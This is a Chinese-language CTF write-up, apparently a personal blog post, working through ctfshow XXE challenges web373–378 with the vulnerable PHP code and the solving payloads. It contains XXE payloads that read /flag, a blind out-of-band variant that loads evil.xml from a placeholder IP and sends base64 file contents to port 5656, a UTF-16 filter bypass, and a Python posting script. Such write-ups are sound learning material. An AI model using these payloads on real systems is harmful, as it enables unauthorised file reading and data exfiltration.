581 字
3 分钟
ctfshow-XXE学习
2024-07-29

web373#

error_reporting(0);
libxml_disable_entity_loader(false);//允许外部实体引用
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
} 

payload:(post传入)

<!DOCTYPE abc [
    <!ELEMENT abc (#PCDATA)>
    <!ENTITY xee SYSTEM "file:///flag">
]>
<abc>
	<ctfshow>&xee;</ctfshow>
</abc>

web374(无回显)#

来自: https://blog.csdn.net/unexpectedthing/article/details/121044904#web374,375,376

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__); 

payload:

<?xml version='1.0'?>
<!DOCTYPE root-element [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
//定义了一个file读取flag文件,在evil.xml中发送到我们的服务器
<!ENTITY % dtd SYSTEM "http://IP/evil.xml">
%dtd;
%send;
]>
这行代码定义了一个外部实体 % dtd,它引用了一个名为 evil.xml 的外部文档,其位置是通过 HTTP 协议访问的。然后通过 %dtd; 将该外部实体插入到 XML 文档中。

evil.xml:

<!ENTITY % payload "<!ENTITY &#x25; send  SYSTEM 'http://IP:5656/%file;'> ">%payload;

evil.xml 中定义了一个名为 payload 的参数实体,它包含了另一个实体 send,这个实体定义了一个外部实体,通过 HTTP 协议访问的 URL 是 http://IP:5656/%file;。%file; 是一个占位符,它将在实际使用时被替换为特定的值。 这段代码的目的是在漏洞利用过程中向攻击者控制的服务器发送请求,从而使攻击者能够收集关于目标系统的信息或执行进一步的攻击。

之后在服务器监听5656端口,获得base64编码过后的flag

fff9731cb98f298c3c2fc8d954316b8d_MD5

可能会请求失败,但正常监听

web375#

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);  

添加了过滤xml头过滤,本来想改为1.1绕过,但发现原payload也可以..??

web376#

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
} 

同web374

web377#

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

过滤了http,使用utf-16绕过 佬的脚本:

import requests

url = 'http://808daa3a-b05b-497e-be40-0ff637c0808b.challenge.ctf.show/'
data = """<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://IP/evil.xml">
%dtd;
%send;
] >"""

requests.post(url ,data=data.encode('utf-16'))
print(data.encode('utf-16'))
print("OK!")
#其实就只是把payload编码后post过去

utf-16编码过后的文本:

740b175d7fcaa685b0da118f2922a576_MD5

web378#

31c28e98830114484eea6b923060701c_MD5

随便填个账号密码然后抓包,发现xml痕迹 payload:

<!DOCTYPE abc [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>&xxe;</password></user>

创建一个名为abc的DTD,定义一个外部实体xxe,其值为file:///flag 这意味着当 XML 解析器解析包含这个 DTD 的 XML 文档时,它会尝试从文件系统中读取名为 flag 的文件。

ctfshow-XXE学习
http://orxiain.life/posts/ctfshow-xxe学习/
作者
𝚘𝚛𝚡𝚒𝚊𝚒𝚗.
发布于
2024-07-29
许可协议
CC BY-NC-SA 4.0